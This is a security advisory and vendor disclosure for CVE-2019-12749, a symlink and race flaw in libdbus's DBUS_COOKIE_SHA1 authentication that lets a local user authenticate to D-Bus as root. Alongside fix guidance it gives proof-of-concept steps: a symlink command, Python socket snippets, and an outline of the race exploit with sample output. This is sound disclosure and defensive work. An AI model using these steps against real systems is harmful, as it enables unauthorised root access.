CVE-2019-12749: DBUS_COOKIE_SHA1 mechanism allows auth bypass when enabled
tl;dr summary:
- https://www.openwall.com/lists/oss-security/2019/06/11/2
- upgrade to 1.12.16+ (1.12.x branch), 1.13.12+ (development branch) or 1.10.28+ (1.10.x branch)
- or apply the version of commit "auth: Reject DBUS_COOKIE_SHA1 for users other than the server owner" from the closest available branch, which is hopefully 1.12.x
Overview
dbus
, when used as a library or run as root on a POSIX system with a configuration that allows the authentication type "DBUS_COOKIE_SHA1", suffers from a symlink traversal vulnerability that allows for a limited file-write-as-root primitive, which an attacker can abuse for a complete D-Bus authentication bypass.
The issue arises within the DBUS_COOKIE_SHA1 authentication mechanism implemented by libdbus. This auth type seems to be intended for compatibility with non-POSIX systems that do not support passing credentials over sockets, or for D-Bus transport mechanisms that do not rely on Unix sockets like TCP. While dbus
clearly recommends that this authentication type be disallowed outside of these usecases, it is up to the library or daemon configuration to explicitly disallow it:
Recommend using SASL EXTERNAL where possible, or DBUS_COOKIE_SHA1 otherwise
In general, this only affects consumers of libdbus that have not explicitly disallowed DBUS_COOKIE_SHA1. As such, users of the well-known dbus-daemon system bus with its default system.conf
that only allows EXTERNAL
auth are not affected.
Vulnerability
When a user requests the DBUS_COOKIE_SHA1
authentication flow from a libdbus server, the server will proceed to check the .dbus-keyrings/
directory in the desired user's homedir, and ensures that the directory is private to the owner:
if (!_dbus_check_dir_is_private_to_user (&keyring->directory, error))
return FALSE;
However, no symlink check is ever done, so a user that symlinks their local ~/.dbus-keyrings
directory to another user's .dbus-keyrings
directory can trick the server into using the keyring of another user while trying to auth as themself.
Recommended Fix
Fixing this issue is tricky and must be done carefully to avoid further TOUTTOC issues from occurring.
Similar privileged daemons like sshd that need to operate on user-specific files at the request of a user typically use fork() and setuid() to the requesting user, so that they temporarily run with the privileges of the user. This approach prevents these sorts of issues from ever occurring, as the unprivileged UID does not have necessary permissions to write to root's keyring.
If that approach is not an option, another approach for this issue could involve using fd
-related syscalls to detect whether the fd - after it is opened - maps to the expected file path, before operating on the fd.
One way to do this is to have _dbus_keyring_reload
(in dbus-keyring.c
) open an fd to the expected keyrings directory. You can then use fstat()
to check whether the fd itself is a symlink, and bail out if this is the case. After that, you would need to perform all reads and writes to the cookie files in this directory by passing the directory fd around and using openat()
or similar. That way in the case that the directory is swapped out for a symlink after the check, it will not be followed by the subsequent file operations. However this fix does not prevent the cookie files within the directory from being symlinks; this should be done in a similar fashion, with an fstat()
call after the openat
and before the file read or write.
Proof of Concept
To demonstrate the vulnerability, run any package that uses libdbus to listen for D-Bus messages on a world-writable unix socket.
-
As any low-privileged user with a homedir, set up a symlink to root's homedir.
$ ln -s ~root/.dbus-keyrings ~/.dbus-keyrings
-
Now attempt to authenticate to the socket using the
DBUS_COOKIE_SHA1
mechanism as root, to make sure the~root/.dbus-keyrings
dir is created:#!/usr/bin/env python import socket import binascii import getpass ADDR="/path/to/socket" client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client.connect(ADDR) client.sendall(b"\0") client.sendall(b"AUTH DBUS_COOKIE_SHA1 "+binascii.hexlify("root")+"\r\n") print(client.recv(4096))
-
Wait about 3 minutes for the root user's cookie to expire (or just wipe out their cookie file as root, for purposes of demonstration).
-
Now attempt to authenticate to the socket using the
DBUS_COOKIE_SHA1
mechanism as your user:#!/usr/bin/env python import socket import binascii import getpass ADDR="/path/to/socket" client2 = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client2.connect(ADDR) client2.sendall(b"\0") client2.sendall(b"AUTH DBUS_COOKIE_SHA1 "+binascii.hexlify(getpass.getuser())+"\r\n") print(client2.recv(4096))
-
You will see a cookie ID printed. If you look in the root user's cookie file (
~root/.dbus-keyrings/org_freedesktop_general
), it becomes clear that the auth flow for the local user has been tricked into using the root user's cookie file:$ sudo ls -al ~/.dbus-keyring/*
Exploitation
On Linux systems this issue can be exploited in a way that allows arbitrary users to authenticate to the dbus server as root.
Exploiting this issue relies on moving files around at precise points while the dbus process operates on the local user's ~/.dbus-keyrings
directory. During the DBUS_COOKIE_SHA1 authentication flow, the dbus process will do the following things:
- It will check that the
~user/.dbus-keyrings
exists and is private to the owner; if it does not exist, it will attempt to create this directory - If no valid cookies are in memory, it will open the
~user/.dbus-keyrings/org_freedesktop_general
keyring file and look for valid, non-expired cookies - If it finds no valid cookies, it will re-open the
org_freedesktop_general
file, load in any valid cookies, and create a new cookie - It will then re-write the
org_freedesktop_general
with all the cookies that are now in memory
To exploit this, the following filesystem conditions are set up by the unprivileged user at each point within their homedir:
- A
~user/.dbus-keyrings
directory is created with 0700 permissions - A
org_freedesktop_general
file is created in this directory that contains several thousand expired keys - A new
org_freedesktop_general
file is created to contain one valid cookie and several thousand expired keys - The
~user/.dbus-keyrings
is replaced with a symlink to~root/.dbus-keyrings
, which causes the write to happen on root's keyring file
At the end of the exploit chain, the attacker is able to place a controlled cookie into the root user's dbus keyring file, which allows them to legitimately authenticate to dbus as root.
The expired keys are used to lengthen the race condition window enough so that we can exploit it reliably by using file system metadata events from a subsystem like inotify.
PoC
A PoC python script is attached that demonstrates the vulnerability. The PoC results in a attacker-controlled cookie being reliably written to root's dbus keyring, which allows the attacker to authenticate as root as any user:
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
$ python dbus_poc.py
Sending auth as root to bootstrap root's keyring.
Installing our local keyring.
Sending Dbus auth request as our user.
Listening for inotify events below.
0: org_freedesktop_general
Replacing expired keyring with valid keyring.
1: org_freedesktop_general2
2: org_freedesktop_general.lock
3: org_freedesktop_general.lock
4: org_freedesktop_general.lock
5: org_freedesktop_general
Replacing keyring directory with a symlink to root's keyring directory.
You should have written a cookie ID=11, secret=10 to root's keyring.
# Validate with sudo:
$ sudo cat ~root/.dbus-keyrings/org_freedesktop_general
11 1559075632 10
Disclosure
We can work with you to help reproduce the problems and have provided our assessment of the risk. We, of course, are keen to protect both Apple and your other customers and will coordinate with you on the announcement of the fixes. If you would like us to reach out to Mitre for CVE-IDs for these issues we're more than happy to do so. Please let us know your preference. Attribution for discovering this issue can be assigned to "Apple Information Security".
We have identified Ubuntu as a primary affected downstream consumer of this vulnerability, and have found several affected Ubuntu software packages that are vulnerable to this. We will be following up shortly with the Ubuntu Security Team around these packages, and will CC Dbus's private mailing list and reference this issue's ID to aid in coordination of disclosures between all parties.
If you have any issues or the provided PoC's are not working for some reason, please let us know and we'll investigate.